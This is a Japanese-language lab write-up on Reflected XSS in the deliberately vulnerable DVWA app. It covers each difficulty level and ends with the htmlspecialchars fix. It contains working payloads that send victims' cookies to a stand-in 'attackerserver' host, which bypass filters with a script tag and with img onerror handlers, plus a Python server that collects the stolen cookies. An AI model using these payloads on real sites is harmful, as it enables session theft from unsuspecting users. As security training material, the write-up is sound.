Skip to content
Go back

【DVWA】コードから学ぶReflected XSSとPythonでの検証(Low/Medium/High)

前回はDOM Based XSSを扱いましたが、今回はReflected Cross Site Scripting (Reflected XSS: 反射型XSS) についての検証を行いました。 サーバー側のPHPコードがどのように入力を処理しているかを確認し、str_replacepreg_replace といったフィルタリング関数の回避(Bypass)手法、そして根本的な対策についてまとめます。

Reflected XSS とは?

Reflected XSSは、攻撃者が用意した悪意あるスクリプトを含むリンクをユーザーがクリックすることで発生します。 その名の通り、リクエストに含まれたスクリプトが、サーバーからのレスポンス(HTML)として**反射(Reflect)**されて戻ってくることで実行されます。

DOM Based XSSとの違いは以下の通りです。


Level : Low

通常の挙動確認

LowでのWebUI
LowでのWebUI

ソースコード解析

LowレベルのPHPコードは非常にシンプルです。

<?php
header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

問題点

$_GET['name'] で受け取ったパラメータを、何のチェックも加工もせずにそのまま echo しています。 つまり、入力値がそのままHTMLとして解釈されます。

攻撃手法

名前入力欄にスクリプトを入力します。

<script>alert('XSS')</script>

これがサーバーに送信されると、以下のようなHTMLが生成されて返ってきます。

<pre>Hello <script>alert('XSS')</script></pre>

ブラウザはこれを実行し、アラートが表示されます。


Pythonによる検証(Cookie奪取)

DOM XSSの記事同様、Pythonで攻撃用サーバーを立ててCookieを奪取できるか検証します。 サーバーのコードは前回記事を確認してください。

Reflected XSSの場合、攻撃者は以下のようなURLを作成し、被害者に踏ませることを想定します。

攻撃用ペイロード(URL埋め込み用):

http://target/vulnerabilities/xss_r/?name=<script>var img = new Image(); img.src = "http://attackerserver:65000/cookie=" + document.cookie;</script>

意図したものになっているか、エンコードに注意してください。

攻撃側のPythonコード(受信サーバー):

import http.server
import socketserver
from urllib.parse import unquote
import datetime

# --- 設定 ---
PORT = 65000  # 待ち受けるポート番号
# -------------

class StealHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        decoded_path = unquote(self.path)
        print(f"[-] 送信元IP: {self.client_address[0]}")
        print(f"[-] リクエスト内容: {decoded_path}")
        
        # ブラウザ側には200 OKを返す
        self.send_response(200)
        self.end_headers()

print(f"[*] 攻撃用サーバーを起動しました。ポート: {PORT}")
print("[*] 接続待機中...")

with socketserver.TCPServer(("", PORT), StealHandler) as httpd:
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("\n[*] サーバーを停止します。")

被害者がリンクを踏むと、Pythonサーバー側にCookie情報が飛んできます。

Cookie奪取結果-low
Cookie奪取結果-low

Level: Medium(ブラックリスト回避)

Mediumレベルでは、簡単なフィルタリングが実装されています。

ソースコード解析

<?php
// ...省略...
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?>

<script> という文字列を空文字に置換(削除)しています。しかし、これは不完全な対策です。

攻撃手法(Bypass)

  1. 大文字小文字を変える: str_replace は大文字小文字を区別するため、<SCRIPT><Script> は通過します。
  2. 別タグを使う: そもそも <script> タグを使わなくてもJSは実行できます。

今回は <img> タグのイベントハンドラを利用します。

<img src=x onerror=var img = new Image(); img.src = "http://attackerserver:65000/cookie=" + document.cookie;>

src=x で存在しない画像を読み込もうとしてエラーが発生し、onerror 以下のJavaScriptが実行されます。 この文字列には <script> が含まれていないため、フィルタをすり抜けます。

Cookie奪取結果-medium
Cookie奪取結果-medium

Level: High(正規表現の穴)

Highレベルでは、正規表現を使ったより強力な置換が行われます。

ソースコード解析

<?php
// ...省略...
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?>

preg_replace を使い、/i 修飾子で大文字小文字を無視しています。さらに間に文字が入っても検知しようとしています。 これで <SCRIPT><scr<script>ipt> などの小細工は通用しなくなりました。

攻撃手法

しかし、この正規表現はあくまで 「scriptという単語が含まれるタグ」 を狙い撃ちしているだけです。 Mediumで試した <img> タグの手法は、ここでも有効です。

Cookie送信ペイロード:

<img src=x onerror=var img = new Image(); img.src = "http://attackerserver:65000/cookie=" + document.cookie;>

onerror 属性の中身はJavaScriptとして評価されるため、ここで new Image() などを書いても問題なく動作します。Highレベルの防壁をあっさり突破し、PythonサーバーにCookieが着弾します。

Cookie奪取結果-high
Cookie奪取結果-high

Level: Impossible(エスケープ処理)

最後に、適切な対策が行われているコードです。

ソースコード解析

<?php
// ...Token check...

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
?>

なぜこれが安全なのか

htmlspecialchars() 関数を使用している点が重要です。 これはHTMLにおいて特殊な意味を持つ文字を「実体参照(HTMLエンティティ)」に変換します。

例えば <script>alert(1)</script> と入力しても、HTMLソース上では以下のように出力されます。

<pre>Hello &lt;script&gt;alert(1)&lt;/script&gt;</pre>

ブラウザは &lt; を文字としての「<」として表示するだけで、タグの開始とは認識しません。 結果として、画面には入力した文字列がそのまま表示されるだけで、スクリプトは一切実行されなくなります。

まとめ

  1. Reflected XSS: サーバーが入力値をそのままHTMLに埋め込むことで発生する。
  2. ブラックリストは弱い: <script> を消すだけでは、大文字小文字変換や <img> タグなどで容易に回避される。
  3. イベントハンドラの悪用: onerror などを利用すれば、script タグなしでJSを実行可能。
  4. 正しい対策: 入力値の削除ではなく、htmlspecialchars などで出力時にエスケープし、ブラウザにコードとして解釈させないことが重要。

攻撃者の視点を知ることで、「なぜエスケープが必要なのか」がより深く理解できました。


Share this post on:

Previous Post
【DVWA】コードから学ぶStored XSSとPythonでの検証(Low/Medium/High)
Next Post
【DVWA】コードから学ぶDOM Based XSSとPythonでの検証(Low/Medium/High)